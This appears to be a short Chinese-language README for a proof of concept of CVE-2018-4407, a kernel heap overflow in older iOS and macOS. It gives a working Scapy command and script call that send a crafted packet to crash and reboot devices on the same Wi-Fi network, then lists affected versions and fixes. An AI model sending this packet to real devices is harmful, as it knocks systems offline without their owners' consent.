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check_icmp_dos

*iOS 12 / OS X Remote Kernel Heap Overflow (CVE-2018-4407) POC:

pip install scapy
sudo scapy 
send(IP(dst=“Target IP“,options=[IPOption(“A”*8)])/TCP(dport=2323,options=[(19, “1"*18),(19, “2”*18)]))

或使用脚本

python check_icmp_dos.py 127.0.0.1

该漏洞使得攻击者只要接入同一Wi-Fi网络,即可向其他毫不知情的用户发送恶意数据包来触发任何Mac或iOS设备的崩溃和重启。由于该漏洞存在于系统网络核心代码,因此任何反病毒软件均无法防御。

运行以下操作系统的设备易受攻击:

Apple iOS 11及更早版本:所有设备(升级到iOS 12的部分设备)

Apple macOS High Sierra(受影响的最高版本为10.13.6):所有设备(通过安全更新2018-001修复)

Apple macOS Sierra(受影响的最高版本为10.12.6):所有设备(通过安全更新2018-005中修复)

Apple OS X El Capitan及更早版本:所有设备

修复建议

目前,苹果官方已经发布了ios12.1版本更新修复了该漏洞,建议用户及时确认系统版本,如受影响,请及时采取修补措施。漏洞修补措施如下:

  1. 进行系统更新,更新到最新版本
  2. 如果没有更新到最新版本,可在macOS防火墙中启用隐藏模式可防止攻击,这个系统设置默认情况下不启用,需要用户手动开启。
  3. 不接入公共无线网络。触发该漏洞的唯一必要条件是处于同一网络,该漏洞不支持通过互联网发送恶意数据包而触发

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